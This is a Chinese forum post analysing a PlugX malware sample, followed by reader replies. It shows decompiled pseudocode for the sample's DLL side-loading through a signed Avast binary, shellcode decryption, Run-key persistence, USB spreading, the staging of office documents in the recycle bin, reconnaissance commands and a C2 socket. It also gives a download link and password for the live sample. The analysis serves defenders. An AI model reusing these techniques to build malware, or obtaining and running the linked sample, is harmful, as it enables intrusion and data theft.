Ginobili 发表于 2022-7-28 17:11

PlugX样本分析

本帖最后由 Ginobili 于 2022-7-28 17:40 编辑

#PlugX样本分析

本片文章对PlugX某样本行为进行分析。

##样本信息

样本的基本信息

| type    | hash                                                         |
| :------ | ------------------------------------------------------------ |
| SHA256: | 00fbfaf36114d3ff9e2c43885341f1c02fade82b49d1cf451bc756d992c84b06 |
| MD5:    | c1c9624b21f71e4565b941a37db3815a                           |
| SHA1:   | 1c251974b2e6f110d96af5b23ad036954ba15e4e                     |

解压样本发现样本文件夹内有三个文件,分别是AvastSvc.exe、wsc.dll、AvastAuth.dat。下面对文件逐个进行分析。

##AvastSvc.exe

这是一个白文件,程序只有一个start函数,内容是导入wsc.dll,执行其run()函数。

```c
void __noreturn start()
{
HMODULE v0; // eax@1
HMODULE v1; // esi@1
FARPROC v2; // edi@2
LPWSTR v3; // eax@3
DWORD v4; // edi@3

v0 = LoadLibraryW(L"wsc.dll");
v1 = v0;
if ( v0 )
{
    v2 = GetProcAddress(v0, "_run@4");
    if ( v2 )
    {
      v3 = GetCommandLineW();
      v4 = ((int (__stdcall *)(_DWORD))v2)(v3);
      FreeLibrary(v1);
    }
    else
    {
      v4 = GetLastError();
      FreeLibrary(v1);
    }
}
else
{
    v4 = GetLastError();
}
ExitProcess(v4);
}
```

可以看到样本为了躲避检测采取了白+黑的方式进行,这也是许多恶意软件用来躲避检测的常见方式。

## wsc.dll

先对dll文件进行静态分析

```c
int sub_10001BF0()
{
HMODULE v0; // eax@1
FARPROC v1; // eax@1
unsigned int i; // @5
char v4; // @1
char v5; // @3
char v6; // @5
CHAR String2; // @3
char v8; // @3
int v9; // @3
_BYTE *v10; // @3
CHAR String1; // @1
char v12; // @1
int v13; // @3
unsigned int v14; // @5
char v15; // @1
char v16; // @1
char v17; // @1
char v18; // @1
char v19; // @1
char v20; // @1
char v21; // @1
char v22; // @1
char v23; // @1
char v24; // @1
char v25; // @1
CHAR ModuleName; // @1
char v27; // @1
char v28; // @1
char v29; // @1
char v30; // @1
char v31; // @1
char v32; // @1
char v33; // @1
char v34; // @1
char v35; // @3
int v36; // @3
int v37; // @5
int v38; // @1
int v39; // @3
CHAR ProcName; // @1
char v41; // @1
char v42; // @1
char v43; // @1
char v44; // @1
char v45; // @1
char v46; // @1
char v47; // @1
char v48; // @1
char v49; // @1
char v50; // @1
char v51; // @1
char v52; // @1
char v53; // @1
char v54; // @1
char v55; // @1
char v56; // @1
char v57; // @1
char v58; // @1
_BYTE *v59; // @1

v15 = '\\';
v16 = 'A';
v17 = 'v';
v18 = 'a';
v19 = 's';
v20 = 't';
v21 = 'A';
v22 = 'u';
v23 = 't';
v24 = 'h';
v25 = '\0';
String1 = '\0';
sub_10002680(&v12, 0, 0x103u);
ModuleName = 'k';
v27 = 'e';
v28 = 'r';
v29 = 'n';
v30 = 'e';
v31 = 'l';
v32 = '3';
v33 = '2';
v34 = '\0';
v38 = 9;
ProcName = 'G';
v41 = 'e';
v42 = 't';
v43 = 'M';
v44 = 'o';
v45 = 'd';
v46 = 'u';
v47 = 'l';
v48 = 'e';
v49 = 'F';
v50 = 'i';
v51 = 'l';
v52 = 'e';
v53 = 'N';
v54 = 'a';
v55 = 'm';
v56 = 'e';
v57 = 'A';
v58 = '\0';
v0 = GetModuleHandleA(&ModuleName);
v1 = GetProcAddress(v0, &ProcName);
(v1)(0, &String1, 260);
v59 = sub_10002660(&String1, '\\');         // 指向路径
v4 = -8;
if ( v59 )
{
    *v59 = 0;
    v4 = -113;
}
v35 = '.';
v36 = 'tad';
v38 = 5;
String2 = 0;
sub_10002680(&v8, 0, 0x3Fu);
v9 = sub_10002D40(&v15);
sub_10002C10(&String2, &v15, v9);
sub_10002AD0(&String2, &v35, 4u);             // AvastAuth.dat
lstrcatA(&String1, &String2);
v10 = 0;
v39 = 0;
v13 = 0;
sub_10001000(&String1, &v39, &v13);         // 打开文件并对文件进行读操作
v5 = (((((((-38 * ((-26 * (((v4 ^ 0xE5 | 0xF5) ^ 0x4C) >> 4) | 0xCE) + 76) - 34) & 0x6D) - 19) / 39 >> 6) & 0xC9) + 60) ^ 0xCF)
   / 171
   / 101
   / 178
   / 146
   - 14;
if ( !v13 )
{
    sub_10002A4D(0);
    v5 &= 0x7Bu;
}
v37 = v39;
v14 = sub_10002D40(v39);
v13 = v13 - v14 - 1;
v39 += v14 + 1;
v10 = LocalAlloc(0x40u, v13 + 1);
v6 = (((4 * ((((v5 + 19) ^ 0xC4) >> 5) | 0xBA) & 0x34) - 61) >> 6) & 0xCD;// 自解密算法
for ( i = 0; i < v13; ++i )
{
    v10 = *(i + v39);
    v10 ^= *(v37 + i % v14);
    v6 = (v6 ^ 0x3A) / 137;
}
return sub_100015D0(v10, v13);                // 获得读写权限
}
```

函数sub_10001000对.dat文件进行读操作,读取的值作为中间值进行了自解密运算,保存到v10中,最后获取读写操作权限。

下面我们进行动态分析在v10下断点找到shellcode进行提取。这个时候eax保存的值就是shellcode生成的地址,edx存储的是shellcode的长度。二进制复制到010editor上保存文件可以得到shellcode


## shellcode

下面对生成的dll行为进行分析,先找到入口函数DllMain(),比较容易的找到关键函数。

```c
int DllMain()
{
int v0; // eax
int v2; //
void *v3; //
int v4; //
void *v5; //
int v6; //
int v7; // BYREF

unknown_libname_2();
v7 = 0;
v0 = exec_GetCommandLineW();                  // 当前进程命令行字符串
v6 = exec_CommandLineToArgvW(v0, &v7);
switch ( v7 )
{
    case 1:
      run_self();                               // 创建三个文件,并设置文件夹自启动
      exec_ExitProcess(0);
      break;
    case 2:
      v5 = sub_1000C3E0();
      v4 = exec_CreateMutexW(0, 0, v5);         // 创建互斥体
      if ( exec_GetLastError() == 0xB7 )
      exec_ExitProcess(0);
      if ( !exec_memcmp(*(v6 + 4), L"-net", 8) )// 第四个参数是-net执行下面操作
      {
      Reg_Network();                        // Control/Network写入注册表值
      run_self();                           // 创建三个文件,并设置文件夹自启动
      exec_ExitProcess(0);
      }
      sub_100153A0();                           // 提权、删除文件、获取计算机基本信息
      sub_100019B0(0);                        // 套接字相关函数,相关注册表值
      exec_CloseHandle(v4);
      break;
    case 3:
      sub_10015400(*(v6 + 4));
      v3 = sub_1000C3E0();
      v2 = exec_CreateMutexW(0, 0, v3);         // 创建互斥体
      if ( exec_GetLastError() != 0xB7 )
      {
      exec_CloseHandle(v2);
      run_self();
      }
      exec_ExitProcess(0);
      break;
}
unknown_libname_1();
return 0;
}
```

函数经过分析后采取了比较易读的命名方式。下面对关键函数进行依次分析。

在上面的代码中,这个程序要获取当前进程的命令行字符串,使用switch来进行流程的执行。

v7 = 1时执行case 1操作

### case1

#### run_self()函数

```c
int sub_100090E0()
{
unsigned int v0; // eax
int len; // eax
int len_0; // eax
char v4; // BYREF
wchar_t Ext; // BYREF
char v6; // BYREF
char v7; // BYREF
wchar_t Filename; // BYREF
char v9; // BYREF
WCHAR v10; // BYREF
char v11; // BYREF
WCHAR v12; // BYREF
char v13; // BYREF
char v14; // BYREF
char v15; // BYREF
wchar_t Dir; // BYREF
char v17; // BYREF
wchar_t FullPath; // BYREF
char v19; // BYREF
WCHAR v20; // BYREF
WCHAR v21; // BYREF
char v22; // BYREF
char ppath; // BYREF
_WORD v24; // BYREF
int v25; // BYREF
__int16 v26; //
HANDLE hObject; // BYREF
HANDLE v28; //
__int16 v29; // BYREF
__int16 v30; // BYREF
__int16 v31; // BYREF
WCHAR v32; // BYREF
int v33; //
__int16 v34; //
wchar_t Drive; // BYREF
int v36; //
int v37; //
int pName; //

v31 = '%';                                 // %userprofile%\\
v31 = 'u';
v31 = 's';
v31 = 'e';
v31 = 'r';
v31 = 'p';
v31 = 'r';
v31 = 'o';
v31 = 'f';
v31 = 'i';
v31 = 'l';
v31 = 'e';
v31 = '%';
v31 = '\\';
v31 = '\0';
v30 = '%';
v30 = 'a';                                 // %allusersprofile%\\
v30 = 'l';                                 // C:\程序数据
v30 = 'l';
v30 = 'u';
v30 = 's';
v30 = 'e';
v30 = 'r';
v30 = 's';
v30 = 'p';
v30 = 'r';
v30 = 'o';
v30 = 'f';
v30 = 'i';
v30 = 'l';
v30 = 'e';
v30 = '%';
v30 = '\\';
v30 = '\0';
exec_lstrcpyW(v14, v31);
exec_lstrcpyW(v15, v30);
pName = sub_1000C320();
exec_lstrcatW(v14, pName);
exec_lstrcatW(v15, pName);
exec_lstrcatW(v14, L"\\");
exec_lstrcatW(v15, L"\\");
exec_ExpandEnvironmentStringsW(v15, v24, 520);
if ( exec_GetFileAttributesW(v24) == -1 && !exec_CreateDirectoryW(v24, 0) )// 创建目录
    exec_ExpandEnvironmentStringsW(v14, v24, 520);
exec_lstrcpyW(ppath, v24);
exec_lstrcatW(ppath, L"AvastSvc.exe");
exec_lstrcpyW(v7, v24);
exec_lstrcatW(v7, L"wsc.dll");
exec_lstrcpyW(v4, v24);
exec_lstrcatW(v4, L"AvastAuth.dat");
Drive = 0;
v36 = 0;
Dir = 0;
memset(v17, 0, sizeof(v17));
Filename = 0;
memset(v9, 0, sizeof(v9));
Ext = 0;
memset(v6, 0, sizeof(v6));
v21 = 0;
memset(v22, 0, sizeof(v22));
FullPath = 0;
memset(v19, 0, sizeof(v19));
v10 = 0;
memset(v11, 0, sizeof(v11));
v12 = 0;
memset(v13, 0, sizeof(v13));
exec_GetModuleFileNameW(0, &FullPath, 520);
_wsplitpath_s(&FullPath, &Drive, 3u, &Dir, 0x100u, &Filename, 0x100u, &Ext, 0x100u);
wsprintfW(&v21, L"%s%s", &Drive, &Dir);
wsprintfW(&v10, L"%s%s", &v21, L"wsc.dll");
wsprintfW(&v12, L"%s%s", &v21, L"AvastAuth.dat");
sub_10007380(v24);
exec_SetFileAttributesW(v24, 2);
exec_SetFileAttributesW(v24, 2);
exec_CopyFileW(&FullPath, ppath, 0);          // 创建文件AvastSvc.exe、wsc.dll、AvastAuth.dat
exec_CopyFileW(&v10, v7, 0);
exec_CopyFileW(&v12, v4, 0);
v0 = exec_GetSystemTimeAsFileTime(0);         // 检索当前日期和时间
srand(v0);
v37 = rand() % 899 + 100;
wsprintfW(v20, L"\"%s\" %d", ppath, v37);
v29 = 'S';
v29 = 'o';
v29 = 'f';
v29 = 't';
v29 = 'w';
v29 = 'a';
v29 = 'r';
v29 = 'e';
v29 = '\\';
v29 = 'M';
v29 = 'i';
v29 = 'c';
v29 = 'r';
v29 = 'o';
v29 = 's';
v29 = 'o';
v29 = 'f';
v29 = 't';
v29 = '\\';
v29 = 'W';
v29 = 'i';
v29 = 'n';
v29 = 'd';
v29 = 'o';
v29 = 'w';
v29 = 's';
v29 = '\\';
v29 = 'C';
v29 = 'u';
v29 = 'r';
v29 = 'r';
v29 = 'e';
v29 = 'n';
v29 = 't';
v29 = 'V';
v29 = 'e';
v29 = 'r';
v29 = 's';
v29 = 'i';
v29 = 'o';
v29 = 'n';
v29 = '\\';
v29 = 'R';
v29 = 'u';
v29 = 'n';
v29 = '\0';
len = exec_lstrlenW(v20);
exec_RegCreate_SetKeyExW(0x80000002, v29, pName, v20, 2 * len + 2, 1);// HKEY_CURRENT_USER 0x80000001/打开注册表项并为文件创建键值(自启动)
len_0 = exec_lstrlenW(v20);
exec_RegCreate_SetKeyExW(0x80000001, v29, pName, v20, 2 * len_0 + 2, 1);// HKEY_LOCAL_MACHINE          0x80000002
v32 = 0;
v33 = 0;
v34 = 0;
wsprintfW(&v32, L" %d", v37);
exec_lstrcatW(ppath, &v32);                   // 拼接路径
exec_memset(&hObject, 0, '\x10');
exec_memset(v25, 0, 0x44);
v25 = 0x44;
v25 = '\x01';
v26 = 1;
if ( exec_CreateProcessW(0, ppath, 0, 0, 0, 4, 0, 0, v25, &hObject) )// 为AvastSvc.exe创建进程
{
    exec_ResumeThread(v28);
    CloseHandle(hObject);
    CloseHandle(v28);
}
return 0;
}
```

这段代码先指向C:\程序数据,创建一个文件夹,然后将三个程序wsc.dll、AvastSvc.exe、AvastAuth.dat复制到文件夹内。后对文件夹内的三个文件设置注册表的HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \Windows \ CurrentVersion \ Run键值进行自启动设置,最后创建AvastSvc.exe进程。

执行case2操作流程:先创建一个互斥体,拿命令行第四个参数与“-net”字符串进行比较,不相同则执行Reg_Network()函数。而Reg_Network()函数功能是将注册表HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \Control \ Network\Version置1,后面同样执行run_self(),再往后执行sub_100153A0()函数。

### case2

#### sub_100153A0()

```c
int sub_100153A0()
{
int v1; // BYREF
int v2; //

sub_10015600();                               // 遍历进程,打开进程设置自启动
v1 = 0;
v2 = exec_CreateThread(0, 0, sub_10014E10, 0, 0, &v1);// 创建线程
if ( v2 )
{
    exec_CloseHandle(v2);
    v2 = 0;
}
return 0;
}
```

其中sub_10015600()函数如下

#### sub_10015600()

```C
int sub_10015600()
{
wchar_t v1; // BYREF
wchar_t v2; // BYREF
wchar_t v3; // BYREF
wchar_t SubStr; // BYREF
wchar_t v5; // BYREF
wchar_t v6; // BYREF
__int16 v7; // BYREF

SubStr = 'A';                              // AdobeHelper.exe
SubStr = 'd';
SubStr = 'o';
SubStr = 'b';
SubStr = 'e';
SubStr = 'H';
SubStr = 'e';
SubStr = 'l';
SubStr = 'p';
SubStr = 'e';
SubStr = 'r';
SubStr = '.';
SubStr = 'e';
SubStr = 'x';
SubStr = 'e';
SubStr = '\0';
v1 = 'A';                                  // AdobeUpdates.exe
v1 = 'd';
v1 = 'o';
v1 = 'b';
v1 = 'e';
v1 = 'U';
v1 = 'p';
v1 = 'd';
v1 = 'a';
v1 = 't';
v1 = 'e';
v1 = 's';
v1 = '.';
v1 = 'e';
v1 = 'x';
v1 = 'e';
v1 = '\0';
v2 = 'A';
v2 = 'd';
v2 = 'o';
v2 = 'b';
v2 = 'e';
v2 = 'U';
v2 = 'p';
v2 = 'd';
v2 = 'a';
v2 = 't';
v2 = 'e';
v2 = '.';
v2 = 'e';
v2 = 'x';
v2 = 'e';
v2 = '\0';
v6 = 'A';
v6 = 'd';
v6 = 'o';
v6 = 'b';
v6 = 'e';
v6 = 'A';
v6 = 'R';
v6 = 'M';
v6 = '.';
v6 = 'e';
v6 = 'x';
v6 = 'e';
v6 = '\0';
v5 = 'A';
v5 = 'A';
v5 = 'M';
v5 = ' ';
v5 = 'U';
v5 = 'p';
v5 = 'd';
v5 = 'a';
v5 = 't';
v5 = 'e';
v5 = '.';
v5 = 'e';
v5 = 'x';
v5 = 'e';
v5 = '\0';
v3 = 'A';
v3 = 'A';
v3 = 'M';
v3 = ' ';
v3 = 'U';
v3 = 'p';
v3 = 'd';
v3 = 'a';
v3 = 't';
v3 = 'e';
v3 = 's';
v3 = '.';
v3 = 'e';
v3 = 'x';
v3 = 'e';
v3 = '\0';
v7 = 'S';                                  // SeDebugprivilege
v7 = 'e';
v7 = 'D';
v7 = 'e';
v7 = 'b';
v7 = 'u';
v7 = 'g';
v7 = 'P';
v7 = 'r';
v7 = 'i';
v7 = 'v';
v7 = 'i';
v7 = 'l';
v7 = 'e';
v7 = 'g';
v7 = 'e';
v7 = 0;
sub_100072B0(v7, 1);                        // 指定写相关的访问权的OpenProcess操作
sub_100133D0(SubStr);                         // 遍历进程找到AdobeHelper.exe,关闭进程。打开进程删除注册表项
sub_100133D0(v1);                           // AdobeUpdates.exe
sub_100133D0(v2);
sub_100133D0(v6);
sub_100133D0(v5);
sub_100133D0(v3);
return sub_100072B0(v7, 0);
}
```

函数将AdobeHelper.exe、AdobeUpdates.exe、 AdobeUpdate.exe、AdobeARM.exe、AM Update.exe、AAM Updates.exe字符串传入sub_100133D0()函数,sub_100072B0()的功能是获得文件的写访问权。而sub_100133D0()的内容是关闭进程、遍历磁盘删除文件、删除启动项。

回到sub_100153A0()函数,后面创建了一个线程,为函数sub_10014E10()

#### sub_10014E10()

```C
void __stdcall sub_10014E10(int a1)
{
int v1; // eax
__int16 lpBuffer; // BYREF
char v3; // BYREF
wchar_t pFilePath; // BYREF
char v5; // BYREF
int v6; //
int v7; // BYREF
int v8; // BYREF
wchar_t *v9; //
int v10; //
int v11; //
int v12; //
__int16 *v13; //

exec_SetErrorMode(1);
v10 = 0;
lpBuffer = 0;
memset(v3, 0, sizeof(v3));
pFilePath = 0;
memset(v5, 0, sizeof(v5));
v13 = 0;
while ( 1 )
{
    exec_memset(&lpBuffer, 0, 8);
    exec_GetLogicalDriveStringsW(520, &lpBuffer);// 用指定系统中有效驱动器的字符串填充缓冲区。
    v13 = &lpBuffer;
    v6 = 1;
    while ( *v13 )                              // 驱动中的每个文件夹都复制自身
    {
      exec_memset(&pFilePath, 0, 8);
      exec_lstrcpyW(&pFilePath, L"\\\\.\\");    // 匹配所有驱动器文件
      exec_lstrcatW(&pFilePath, v13);         // 所有驱动器
      v9 = exec_wcsrchr(&pFilePath, '\\');
      *v9 = 0;
      v10 = CreateFile_0(&pFilePath);         // 创建文件
      if ( v10 == 1 )
      {
      v8 = 0;
      v7 = 0;
      v12 = exec_CreateThread(0, 0, sub_100151E0, &pFilePath, 0, &v8);// 创建线程互斥体、超级隐藏文件
      if ( v12 )
      {
          exec_CloseHandle(v12);
          v12 = 0;
      }
      exec_Sleep(100);
      v11 = exec_CreateThread(0, 0, sub_10015030, &pFilePath, 0, &v7);// 创建线程
      if ( v11 )
      {
          exec_CloseHandle(v11);
          v11 = 0;
      }
      exec_Sleep(1000);
      }
      v1 = exec_lstrlenW(v13);
      v13 += v1 + 1;
    }
    exec_Sleep(30000);
}
}
```

函数创建了两个线程,在创建线程之前函数对整个磁盘进行遍历,并打开磁盘,之后在打开的磁盘中创建两个线程sub_100151E0()与sub_10015030()

#### sub_100151E0()

```c
int __stdcall sub_100151E0(_WORD *a1)
{
WCHAR v2; // BYREF
char v3; // BYREF
wchar_t SysId; // BYREF
char v5; // BYREF
int v6; //
wchar_t *v7; //
int v8; // BYREF
WCHAR pFileName; // BYREF
int v10; //
int v11; //
__int16 v12; //
_WORD *v13; //
int v14; //

exec_SetErrorMode(1);
v13 = a1;
pFileName = 0;
v10 = 0;
v11 = 0;
v12 = 0;
if ( *a1 == '\\' && v13 == '\\' )
    wsprintfW(&pFileName, L"%c:\\", v13);
else
    wsprintfW(&pFileName, L"%ws", v13);
v2 = 0;
memset(v3, 0, sizeof(v3));
SysId = 0;
memset(v5, 0, sizeof(v5));
exec_lstrcpyW(&SysId, &pFileName);
v7 = exec_wcsrchr(&SysId, ':');
*v7 = 0;
wsprintfW(&v2, L"USB_NOTIFY_INF_%ws", &SysId);
v14 = exec_CreateMutexW(0, 0, &v2);         // 为驱动创建互斥体
if ( exec_GetLastError() != 0xB7 )
{
    v8 = 0;
    v6 = exec_CreateThread(0, 0, sub_10013ED0, 0, 0, &v8);// 创建线程,设置隐藏文件注册表项
    while ( sub_10015E00(&pFileName) != 2 )   // 查看网络连接。在驱动器中复制自身,并且创建伪装快捷方式文件.lnk   在回收站创建CEFHelper.exe文件
      exec_Sleep(60000);
}
exec_ReleaseMutex(v14);
exec_CloseHandle(v14);
return 0;
}
```

函数进入每个驱动器之后创建互斥体USB_NOTIFY_INF_然后创建线程,设置隐藏注册表项。在while内部的sub_10015E00()函数查看网络连接、在驱动器中复制自身,并且创建伪装快捷方式文件.lnk   在回收站创建CEFHelper.exe文件,最后释放互斥体。

#### sub_10015030()

```C
int __stdcall sub_10015030(_WORD *a1)
{
LPCWSTR v2; // BYREF
DWORD v3; //
DWORD v4; //
wchar_t SysId; // BYREF
char v6; // BYREF
wchar_t *v7; //
WCHAR pFilePath; // BYREF
int v9; //
int v10; //
__int16 v11; //
_WORD *v12; //
int v13; //

exec_SetErrorMode(1);
v12 = a1;
pFilePath = 0;
v9 = 0;
v10 = 0;
v11 = 0;
if ( *a1 == '\\' && v12 == '\\' )
    wsprintfW(&pFilePath, L"%c:\\", v12);
else
    wsprintfW(&pFilePath, L"%ws", v12);
LOWORD(v2) = 0;
memset(&v2 + 2, 0, 0x206u);
SysId = 0;
memset(v6, 0, sizeof(v6));
exec_lstrcpyW(&SysId, &pFilePath);
v7 = exec_wcsrchr(&SysId, ':');
*v7 = 0;
wsprintfW(&v2, L"USB_NOTIFY_COP_%ws", &SysId);// 为驱动创建互斥锁
v13 = exec_CreateMutexW(0, 0, &v2);
if ( exec_GetLastError() == 0xB7 )
{
    exec_ReleaseMutex(v13);
    exec_CloseHandle(v13);
    v13 = 0;
    return 0;
}
if ( InternetCheckConnectionW_0(v2, v3, v4) ) // 检查网络连接https://www.microsoft.com
{
    sub_10010600(&pFilePath);                   // 将指定文件base64加密传到垃圾桶
}
else
{
    if ( !sub_10012E60() )                      // 设置Network注册表
      return 0;
    sub_10010BA0(&pFilePath);                   // 设置清空回收站注册表项,创建一个进程使用某些shell获取计算机的基本信息
    sub_100123C0(&pFilePath);
}
exec_ReleaseMutex(v13);
exec_CloseHandle(v13);
return 0;
}
```

同上,创建一个互斥锁,检查网络连接https://www.microsoft.com ,连接正常则将某些指定格式的文件进行base64加密并传入回收站中。后面设置Network的注册表为1,sub_10010BA0()函数设置清空回收站注册表项,创建一个进程使用某些shell获取计算机的基本信息(ipconfig /allnetstat -anoarp -a   tasklist /vsysteminfo)并且将文件tc3lzLmluZm8放入回收站将tmp.bat删除,并且创建进程。

回到主函数,sub_100019B0是套接字相关函数,如下

```c
int __stdcall sub_100019B0(int a1)
{
__int16 v2; // BYREF
__int16 v3; // BYREF
int v4; //
int v5; //
int v6; //
int v7; //
int v8; //
int v9; //
int v10; //
char v11; // BYREF

sub_1000F960();
v2 = 'S';
v2 = 'e';
v2 = 'D';
v2 = 'e';
v2 = 'b';
v2 = 'u';
v2 = 'g';
v2 = 'P';
v2 = 'r';
v2 = 'i';
v2 = 'v';
v2 = 'i';
v2 = 'l';
v2 = 'e';
v2 = 'g';
v2 = 'e';
v2 = 0;
v10 = sub_100072B0(v2, 1);                  // 提权
v3 = 'S';                                  // SeTcbprivilege
v3 = 'e';
v3 = 'T';
v3 = 'c';
v3 = 'b';
v3 = 'P';
v3 = 'r';
v3 = 'i';
v3 = 'v';
v3 = 'i';
v3 = 'l';
v3 = 'e';
v3 = 'g';
v3 = 'e';
v3 = 0;
v9 = sub_100072B0(v3, 1);                     // 提权
v8 = sub_10009AE0();                        // 创建线程,设置注册表值,创建套接字
unknown_libname_3(v11);
v7 = sub_100164D0(v11);                     // 窗口
v6 = sub_100165A0(v11);                     // 消息
v5 = sub_100164A0(v11);                     // Destroy
sub_10001850(dword_10028CEC);
sub_1000A210();
sub_1000EE80();                               // WSACleanup
v4 = 0;
unknown_libname_4(v11);
return v4;
}
```

函数先提升权限,后创建一个线程创建一个套接字实现连接操作,可以执行远程用户的命令来篡改受感染的计算机,之后创建一个注册表Software\\CLASSES\\ms-pu\\PROXY。

执行case3如下

### case3

实现发送消息、执行shell的open操作。并且执行run_self操作。

## 总结

样本的行为事件总结如下:

### 注册表项

-AvastSvcPYT = "% ProgramData% \ AvastSvcPYT \ AvastSvc.exe" : HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \Windows \ CurrentVersion \ Run

-AvastSvcPYT = "% ProgramData% \ AvastSvcPYT \ AvastSvc.exe" : HKEY_CURRENT_USER \ Software \ Microsoft \Windows \ CurrentVersion \ Run

-HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Control \ Network Version = 1

* HKEY_CURRENT_USER \ System \ CurrentControlSet \ Control \ Network Version = 1

- HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ ms-pu CLSID = {645FF040-5081-101B-9F08-*00AA002F954E*}

### 互斥体

- USB_NOTIFY_COP_

- USB_NOTIFY_INF_

### 创建文件/目录

- % ProgramData% \ AvastSvcPYT

- % ProgramData% \ AvastSvcPYT \ AvastSvc.exe

- % ProgramData% \ AvastSvcPYT \ AvastAuth.dat

- % ProgramData% \ AvastSvcPYT \ wsc.dll

### 删除的文件

- 它会删除在终止进程的文件夹中找到的所有文件。(未定位)
- 它删除终止进程的文件夹。(未定位)
- 它将以下文件放入 {Drive} \RECYCLER.BIN:
- tmp.bat
- c3lzLmluZm8
- CEFHelper.exe
- AvastAuth.dat
- wsc.dll

### 创建进程

- % ProgramData% \ AvastSvcPYT \ AvastSvc.exe

### 关闭进程

- AdobeHelper.exe
- AdobeUpdates.exe
- AdobeUpdate.exe
- AdobeARM.exe
- AAM Update.exe
- AAM Updates.exe

### 信息泄露(执行的命令)

- systeminfo
- ipconfig
- netstat
- arp
- tasklist

### 编码/加密

- 扩展名为 .doc、.docx、.ppt、.pptx、.xls、.xlsx、.pdf使用base64加密并放入回收站

### 远程连接

- 45.142.166.

第一次分析APT样本,在网络连接方面没确定接收命令的接收函数在哪。从恶意程序网络连接的行为来看,可以推测存在远程命令执行的操作。另外恶意进程在任务管理器中无法删除,存在删除终止进程的文件的代码,也没定位。后面会随缘再尝试分析代码找找。感谢您读到这。

### 样本链接

链接:https://pan.baidu.com/s/1Y_xrV-7fAQRziJ7Z7u4PUQ
提取码:pttc
压缩密码:52pojie
### 参考链接:
- https://www.trendmicro.com/vinfo/jp/threat-encyclopedia/print/malware/Backdoor.Win32.PLUGX.EYSGVM

codeTheWorld 发表于 2024-1-23 09:37

下面我们进行动态分析在v10下断点找到shellcode进行提取。。。谁解释一下,这个v10的地址是如何在od中找到的?

Wikhan09 发表于 2022-7-29 12:23

大佬学习到了

iamasbgfi 发表于 2022-7-30 12:30

用的vtcp 可靠通信库   

slsljgjg 发表于 2022-8-2 12:51

谢谢,学到了 :lol

iamok 发表于 2022-8-2 15:43

刚好之前中了这个,火绒都没提示,直到查U盘后往U盘回收站写文件被拦截才发现

Vikings 发表于 2022-8-11 18:19

学习啦哈哈哈哈

aspllh 发表于 2022-10-11 19:50

楼主威武!!!!!!

codeTheWorld 发表于 2024-1-22 16:54

学习到了

codeTheWorld 发表于 2024-1-23 10:10

以及如何用OD,动态调试dll文件的。有详细的操作步骤吗?想跟着操作一下
页: [1] 2
查看完整版本: PlugX样本分析